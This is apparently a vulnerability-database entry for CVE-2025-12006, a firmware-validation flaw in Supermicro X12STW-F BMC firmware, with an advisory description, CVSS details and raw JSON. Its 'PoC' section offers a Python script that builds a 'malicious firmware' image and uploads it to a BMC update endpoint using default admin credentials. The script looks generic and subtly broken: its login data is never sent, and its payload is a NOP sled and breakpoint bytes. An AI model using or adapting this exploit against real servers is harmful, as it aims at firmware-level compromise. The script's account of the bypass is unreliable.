Security Vulnerability Report
中文
CVE-2025-12006 CVSS 7.2 HIGH

CVE-2025-12006

Published: 2026-01-16 09:15:59
Last Modified: 2026-04-15 00:35:42
Source: def9a96e-e099-41a9-bfac-30fd4f82c411

Description

There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW-F . An attacker can update the system firmware with a specially crafted image.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Supermicro MBD-X12STW-F BMC固件 < 修复版本
Supermicro X12系列主板BMC固件受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12006 PoC - Supermicro BMC Firmware Validation Bypass Note: This is a conceptual PoC for educational purposes only """ import requests import hashlib import struct # BMC Configuration BMC_IP = "192.168.1.100" BMC_USER = "admin" BMC_PASS = "admin" # Construct malicious firmware with bypass payload def create_malicious_firmware(): """ Create a specially crafted firmware image to bypass validation """ header = b'MBD-X12STW-F' # Target board identifier version = b'1.2.3' # Firmware validation bypass signature # The vulnerability allows bypassing signature check bypass_sig = bytes([0x00]) * 256 # Padding # Malicious payload - backdoor code malicious_payload = b'\x90' * 1024 # NOP sled malicious_payload += b'\xcc' * 100 # Breakpoints # Construct firmware image firmware = header + version + bypass_sig + malicious_payload return firmware def exploit(): """ Exploit the BMC firmware validation vulnerability """ session = requests.Session() # Authentication auth_url = f"https://{BMC_IP}/api/session" auth_data = {"username": BMC_USER, "password": BMC_PASS} # Create malicious firmware malicious_fw = create_malicious_firmware() # Upload firmware via vulnerable endpoint upload_url = f"https://{BMC_IP}/api/maintenance/firmware/update" files = { 'firmware': ('X12STW-F_v1.2.3.bin', malicious_fw, 'application/octet-stream') } # Due to validation bypass, this upload may succeed response = session.post(upload_url, files=files, verify=False) print(f"Upload Response: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-12006 - Supermicro BMC Firmware Validation Bypass") print("Target: Supermicro MBD-X12STW-F") print("=" * 60) if exploit(): print("[+] Malicious firmware uploaded successfully!") print("[+] System may be compromised at firmware level") else: print("[-] Exploitation failed or target not vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12006", "sourceIdentifier": "def9a96e-e099-41a9-bfac-30fd4f82c411", "published": "2026-01-16T09:15:58.510", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW-F . An attacker can update the system firmware with a specially crafted image."}, {"lang": "es", "value": "Existe una vulnerabilidad en la lógica de validación del firmware BMC de Supermicro en el Supermicro MBD-X12STW-F. Un atacante puede actualizar el firmware del sistema con una imagen especialmente diseñada."}], "metrics": {"cvssMetricV31": [{"source": "def9a96e-e099-41a9-bfac-30fd4f82c411", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "def9a96e-e099-41a9-bfac-30fd4f82c411", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "references": [{"url": "https://www.supermicro.com/en/support/security_BMC_IPMI_Jan_2026", "source": "def9a96e-e099-41a9-bfac-30fd4f82c411"}]}}